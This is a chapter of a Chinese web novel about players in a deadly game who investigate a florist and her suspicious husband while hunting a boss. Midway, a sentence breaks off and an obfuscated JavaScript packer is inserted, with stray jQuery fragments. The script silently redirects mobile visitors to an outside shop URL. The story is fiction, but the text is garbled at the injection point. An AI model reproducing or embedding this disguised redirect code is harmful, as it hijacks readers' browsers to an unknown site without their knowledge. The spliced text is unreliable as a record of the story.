白笙南拼命地擦着手背上的皮肤,尤其是麦瑞尔的嘴唇划过的地方,带着一股如同肥胖的蠕虫爬过的潮湿黏腻。
麦瑞尔解释,“这是吻手礼,没有别的含义,只是单纯地表示我的礼貌和友好,请您一定不要大惊小怪,我知道,来自东方的淑女总是格外的……含蓄。”
麦瑞尔天生就生着一双多情的眼睛,五官深邃,组合在一起,便有了能让女人神魂颠倒的魅力,他眨眨眼,作出一副无辜的表情,见白笙南似乎并不吃她这一套,于是就收拢了脸上的轻浮浪荡,“如果您不喜欢这样的话,我也可以入乡随俗。”
白笙南瞪了他一眼,“是的,我不喜欢这样,下次不许这么干了,我已经结婚了,我很爱我丈夫。”
……的钱。
这两个字白笙南不好意思说出口,除了有些过头的占有欲,他什么都好,长得很符合自己的审美,工作稳定,虽然赚的不多,但是却愿意将所有的钱都交给白笙南保管,下班以后不超过十分钟就会立刻出现在家中,去侍弄他的花花草草,做饭,遛狗,为白笙南按摩肩颈。
白笙南看着他的眼睛,她总觉得那个叫麦瑞尔的人很奇怪,出现的时机很奇怪,一个人奇怪也就算了,围在他身边的人也同样古怪,尤其是当自己看着他眼睛的时候……他的眼睛是深邃的黑,瞳孔翻滚着细小的水流,能将人的思绪也一同卷进去。
麦瑞尔开始不带一丝感情地询问,如同警官在严刑逼供一个囚犯,“你的丈夫是什么身份?从事什么职业?”
白笙南脑子有些木木的,她发现自己的嘴巴开始不受控制地一开一合,“我的丈夫是镇上唯一一家汽油公司的工人,他的领导很欣赏他,预备着再过几天就提拔他,到时候他的工资就会顺利翻上两倍,到时候我就考虑雇一个员工过来,再买个房子,离汽油公司和花店都更近一些,如果还有多的话,我会为自己买一身漂亮的裙子和化妆品,就这样吧,我现在只想要这些。”
麦瑞尔身上轻佻的气质已经消失地干干净净了,“就这样吗?你就没有发现你的丈夫有任何古怪的地方?”
白笙南坚定地摇头,“我们就是普通的夫妻。”
麦瑞尔继续逼问,“那你知道什么是永恒之爱吗?”
白笙南摇头,“没听说过。”
提到永恒之爱,白笙南的大脑猛然间惊醒了,她在眼前的人群中感到了危机,她刚才的思想被人彻底控制了,他们问什么,自己就只能回答什么。
那么,如果他们想让自己去死呢?她会不会在懵懂之间,听话照做,将绳子绑在自己的脖子上,然后慢慢收紧呢?
他如此追问自己的丈夫,到底又是打了什么主意?
眼前的人来者不善。
白笙南下了逐客令,逼他们离开这里,又随手抄起靠在门旁的扫帚,开始不断地挥舞,等他们被迫离开这里的时候,白笙南也没有了接着做生意的心思了,她将大门落了锁,摆上了暂停营业的牌子。
玻璃制作的大门上挂了锁链,他们自然可以动用系统给予的力量,将这扇门轻松地炸开,可是他们不敢,这个关卡的BOSS恶行累累,又非常善于欺骗,戏耍他人。
BOSS会杀死他们的伙伴,然后披上他们伙伴的皮囊,将他们故意引到送死的路径上去,他会将一些谎言精心编织成真话,又会将真话说的如同谎言,让人分不出真假。
总之,永恒之爱的BOSS和其他关卡当中的BOSS都不大一样,其他关卡再怎样棘手,那也是BOSS战力的问题,大不了多找几个人,多砸点装备和其他通关奖励就可以了,可是这个关卡的BOSS开始和他们玩心眼了,他仿佛有了人的智商,会像人一样思考,还懂得团结协作,给他们下套。
麦瑞尔怀疑,刚才那个花店女人就是BOSS的同伴,而故事发生的一切,都来源于一个汽油公司,表面上是一家汽油公司,但实际上却是一家披着正规公司,私底下却在不断研究基因变异,生化武器的一家不合法的企业。
BOSS就诞生于那里,一场混乱的,复杂的基因大融合当中。
麦瑞尔揉着太阳穴,忽视脑子里传来的,一阵又一阵的胀疼,他刚才对着白笙南使用了自己的能力——他的能力就是能短暂的控制一个人,但副作用也很明显,此刻,他正处于极度的不适当中,只是外表看不出来。
麦瑞尔一锤定音,“先休息,尽量不要打草惊蛇,有人通关过,是一个非常非常平庸的小队,他们在这里唯一做的事情就是什么也不做,每天晚上睡帐篷,白天就打零工赚钱买吃的,就这样把日子混够了,平平安安地出去了,听别人说,他们被BOSS认定为无害,所以才没有引来BOSS的攻击,再不行,我们也和他们学习一下。”
“来这里的人都是为了自己想要的东西,打败了BOSS,才能赢得更多的奖励,如果只是单纯的想要离开,我们得不到任何东西,难道是在白白浪费时间?”
其中有个半张脸都是烈火灼烧痕迹的中年男子站了出来,在花店的时候,他一直没有说话,只是不动声色的观察,而现在,他以一种逼迫的姿态催促麦瑞尔做出决定,“我的老婆孩子都死在了火海里,我其实也该跟着一起走的,之所以不走,是因为还有个念头吊着我,那你呢?队长,再怎么危险的关卡我们都这样过来了,哪怕是快死的时候,我们也没有真的死,吊着一口气,出了游戏我们照样生龙活虎,拼一把吧!也就是一条命而已。”
麦瑞尔在众人的逼迫下,咬紧牙关,道,“好,那就拼一把,不过一条命而已,明天我们就去汽油公司看看。”
前来通关的玩家,这是系统给他们的身份,他们没有发现,或是说,发现了也不敢大声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565403|204729||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宣扬,系统有意无意地引领着他们往打败BOSS的路径上靠,他们心知肚明BOSS的危险,可是那些微不足道,还没到来的危险,抵不过他们内心深处的渴望。
白笙南提早回到了家中,她的家藏在一栋居民楼当中,很不起眼的一个小房间,木质地门板上还残留了过年时候刚贴的对联,白笙南没选择摘掉它,她觉得这样正好,显得喜庆。
推开门,就看到了一只扫地机器人正忙忙碌碌地打扫,她的丈夫围着围裙,听到外面传来的声响,急急忙忙地跑出来迎接,手里还拿着锅铲,身上滑稽地套着围裙。
这种打扮套在任何人身上都会显得滑稽而可笑,但是穿在沈煜青身上就完全不会,他长着一幅温润玉如的好皮相,嘴唇天然勾起,这让他看上去很好脾气,天然就不会同人争吵。
沈煜青在一众邻居当中的风评也相当不错,会帮助经常加班的邻居遛狗,会收留没带钥匙的小朋友,见到谁都温温柔柔地笑,连句重话也不会说一声,还喜欢把自己做的点心分享给别人,这可能是沈煜青身上唯一一个缺点了,他做饭并不好吃,而且时常喜欢灵机一动,将两种根本风牛马不相及的食材搭配在一起。
白笙南的心脏狠狠一跳,心想,该不会真的如同自己所想的那样吧!
“南南,你回来了!我在网上新学了一个菜式,非常非常特别,我猜你一定喜欢。”
白笙南心死了,她想,果然和自己想的一样,她猜测,“是土豆炒草莓,还是西瓜炒番茄?”
沈煜青身上带着油烟的气息,他依旧是一副笑眼弯弯的模样,轻声说,“都不是,你再猜猜。”
白笙南的心又活了一下。
沈煜青脸上在笑,可是说出的话却让人心寒,“我发现南南最近很疲惫,回家的时间一次比一次晚了,我担心你的身体,所以特意找人开了个中药方子。”
……还好,白笙南松了一口气,她宁可喝苦涩的中药,毕竟那也就闭上眼,一口气喝完也就难受个几秒钟,可是陪着沈煜青吃饭,她得把他做的一团乌漆嘛黑的东西吃下去的同时,做好表情管理,还得构思该怎样把马皮拍得精准不落俗,好让沈煜青心甘情愿地继续对自己敞开钱包。
太难了,这样的日子太难过了,因此这几日白笙南回来的时间一次比一次晚,期待他能够对自己彻底失望,从而放弃他为自己洗手作羹汤的打算。
可就算是找的晚归理由再合理,沈煜青还是察觉到了异样,并隐晦表达了自己的不满。
沈煜青牵着白笙南的手,将她引到沙发上,“南南,你最近这几天似乎又瘦了,单吃中药会叫人难以下咽的,因此,我独家创新了一个菜式,熬完中药以后,我又往里面放了你爱吃的水果……你要不要尝尝?尝完了以后,再和我说说没回家的那段时间,到底是什么东西吸引了你的注意力?”